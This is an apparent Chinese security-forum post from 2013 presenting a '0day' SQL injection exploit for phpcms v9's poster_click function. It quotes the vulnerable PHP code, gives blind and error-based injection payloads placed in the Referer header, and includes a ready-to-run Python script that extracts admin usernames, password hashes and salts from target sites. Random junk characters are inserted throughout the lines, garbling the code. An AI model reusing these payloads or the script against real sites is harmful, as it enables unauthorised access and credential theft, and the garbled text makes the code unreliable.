找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2283|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
/ O. e2 G5 I! ?& b5 r
# D& {, [/ Y2 M6 l- N2 L1 q问题函数\phpcms\modules\poster\index.php: A/ p9 v4 ?; }5 m2 u1 C
, _0 n, ]$ F& t  r$ r
public function poster_click() {
! }2 r$ l; t# `7 L4 J6 D4 E0 p$ j8 B$id = isset($_GET['id']) ? intval($_GET['id']) : 0;* ]) S% Q$ P3 N- `
$r = $this->db->get_one(array('id'=>$id));
' s, o  e0 A, k5 V" Vif (!is_array($r) && empty($r)) return false;
0 Y, f. F; @2 v; M8 u$ip_area = pc_base::load_sys_class('ip_area');2 L3 G! d5 n, Y) R9 l1 L
$ip = ip();' `) d' j! M$ h
$area = $ip_area->get($ip);) n! m! N# c0 a7 m6 i+ Q9 ]
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, Z! {( y7 q% ^7 v7 w7 `2 e6 }if($id) {' v5 U7 ~/ O$ C
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();2 M2 n) g# b, @6 L
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));$ [! O; o" V2 n. d% p2 J  a( U3 h
}2 Y1 Q3 D" r$ `% D8 R+ u; u
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));5 ?' e% m1 h, E( p/ }$ [
$setting = string2array($r['setting']);
, X4 j* x6 m, k/ D6 K. iif (count($setting)==1) {
+ X$ Z- o5 Z% @. d) s; _; o" O$url = $setting['1']['linkurl'];
! J2 ~/ O' A" Q, o9 |- \! e. _} else {3 e/ x9 v8 y$ o- {  k
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];! m5 L4 n9 h+ r8 Q4 T
}7 K" p3 c( |" V- e
header('Location: '.$url);- U  u0 S* o$ S9 y" L
}
. ?  O" D8 w( W, p1 k' @& {. R' _# d$ m5 P8 w4 W1 V5 \
- n* J4 Q' z2 Z7 A9 q/ D8 \- Y

% ]1 Q; R- x" X0 k, i7 }利用方式:0 A6 i- G; q! P3 G% A) j

4 M, w( Y7 S$ \1 V8 c5 f3 m1、可以采用盲注入的手法:
3 n  r" P, K0 g& }/ m2 [0 X+ R# i
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
; V  m& A4 ?( z7 X; R4 G) S; E
1 _+ x) D/ o8 w; F( }通过返回页面,正常与否一个个猜解密码字段。; R' Q7 W* Q' l# q, r
& Y) B; F- _4 y; a: k% D
2、代码是花开写的,随手附上了:
9 Z% \7 O5 w9 ?
5 l+ c5 P1 G) U  |) u8 Q/ J" K: p1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#6 ^" F/ L: f+ a( K  A
( t/ \4 B1 Z* D8 G8 h8 g/ P
此方法是爆错注入手法,原理自查。! \+ W) x5 q  H: ?6 ?  o
; \- H. ?5 P6 I& R; q& g  F& T

& f8 Z6 n4 m" t7 u- R& [" e1 b; h! B5 G/ C8 c; X" F# y& d
利用程序:* ]; u) H  T1 f% z
; M) z+ G% C6 V  v# e
#!/usr/bin/env python" l5 G0 m" U) T% h# Y+ ^3 p5 h. _
import httplib,sys,re
1 @# _0 G' J# @0 }+ `  }& T
4 f0 k! d% e' N( d& ]def attack():* x$ ]. C5 D6 j) B1 l7 |' z+ L# V8 c
print “Code by Pax.Mac Team conqu3r!”% m/ G0 L5 ?6 q9 e0 H( N# i
print “Welcome to our zone!!!”. H- W, Y% N3 f: V* Q
url=sys.argv[1]
  ^, o3 }( i% E  Epaths=sys.argv[2]" S% m# s8 _1 B' f2 E1 R# X
conn = httplib.HTTPConnection(url)2 P6 |4 R6 e7 w
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,& V# \/ r) k4 G/ u
“Accept”: “text/plain”,0 W( j% Z) V# w! u2 b; M7 u
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}, @' z3 Z4 e; i. D4 P0 b
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)7 z+ [/ a+ i2 o* A5 b* B3 Y
r1 = conn.getresponse()
/ T: b, X3 v4 b  X3 ddatas=r1.read()
8 b  K; S. ^1 ?# x* B% A( Vdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
, o/ X# ^- S6 C: x- A1 m8 `print datas[0]
. W, s& H3 |0 n' E& K  econn.close()
% M$ V; P# U8 c! N) ?2 Lif __name__==”__main__”:
' o2 t! g  x; ], V2 k6 `+ [5 K7 Vif len(sys.argv)<3:
9 C, R/ W8 M7 C6 c, h) Bprint “Code by Pax.Mac Team conqu3r”
( q! h; F1 i1 K. Sprint “Usgae:”
0 @4 y" T8 c7 r1 n$ ~print “    phpcmsattack.py   www.paxmac.org /”
. Z) U6 W: [  W) Gprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”3 C8 ^, W. J0 r  [/ i5 t4 [
sys.exit(1)+ ]* B0 R# \' ]5 S* y
attack()
& G4 S* ?! X4 `+ o' r; u2 K8 m# h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表